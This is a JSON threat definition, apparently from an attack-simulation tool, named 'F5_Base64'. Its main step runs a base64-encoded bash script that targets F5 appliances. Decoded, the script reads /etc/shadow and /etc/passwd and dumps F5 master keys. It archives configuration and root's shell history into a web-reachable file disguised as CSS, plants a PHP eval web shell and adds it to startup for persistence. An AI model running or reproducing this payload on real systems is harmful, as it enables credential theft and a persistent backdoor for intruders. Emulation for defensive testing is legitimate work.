{ "threat": { "category": "User-Defined", "description": "test", "display_name": "F5_Base64", "name": "F5_Base64", "operating_system_name": "linux", "script": { "0": { "conf": "{\"--cp\":\"localhost:443\",\"--secure\":true,\"--multipart\":10240}", "module": "https", "type": "initialization" }, "1": { "module": "loader", "module_to_load": "run", "request": "--load run", "type": "message" }, "2": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "/bin/bash -c \"echo ZWNobyAiPT09PT0iO2NhdCAvZXRjL2hvc3RuYW1lO2VjaG8gIj09PT09IjtjYXQgL2V0Yy9ob3N0cztlY2hvICI9PT09PSI7Y2F0IC9ldGMvcGFzc3dkO2VjaG8gIj09PT09IjtjYXQgL2V0Yy9zaGFkb3c7ZWNobyAiPT09PT0iO2NhdHovZXRjL3Jlc29sdi5jb25mO2VjaG8gIj09PT09IjtmNW1rdSAtZjtlY2hvICI9PT09PSI7ZjVta3UgLUs7ZWNobyAiPT09PT0iO2Y1bWt1IC1aO2VjaG8gIj09PT09Ijttb3VudCAtbyBydyxyZW1vdW50IC91c3I7dGFyIHpjZiAvdXNyL2xvY2FsL3d3dy94dWkvY29tbW9uL2Nzcy8yZTk5MjhhZjczMS5jc3MgL2NvbmZpZy8qIC9yb290Ly5iYXNoX2hpc3Rvcnk7ZWNobyAiPD9waHAgQGV2YWwgKGJhc2U2NF9kZWNvZGUoXCRfUE9TVFsnZTk5MjhhZjczMSddKSk7IiA+IC91c3IvbG9jYWwvd3d3L3h1aS9jb21tb24vY3NzL2U5OTI4YWY3MzFjc3MucGhwO2VjaG8gImVjaG8gXCI8P3BocCBAZXZhbCAoYmFzZTY0X2RlY29kZShcXFwkX1BPU1RbJ2U5OTI4YWY3MzEnXSkpO1wiID4gL3Vzci9sb2NhbC93d3cveHVpL2NvbW1vbi9jc3MvZTk5MjhhZjczMWNzcy5waHAiID4+IC9jb25maWcvc3RhcnR1cDttb3VudCAtbyBybyxyZW1vdW50IC91c3I7DQoNCg== |base64 -d > /tmp/f5.sh; /bin/bash /tmp/f5.sh;rm /tmp/f5.sh\"", "type": "message" } }, "signature": "3ce1cbeedb097e1a0c3b83ebdd6c955a7433cf29", "tags": [] } }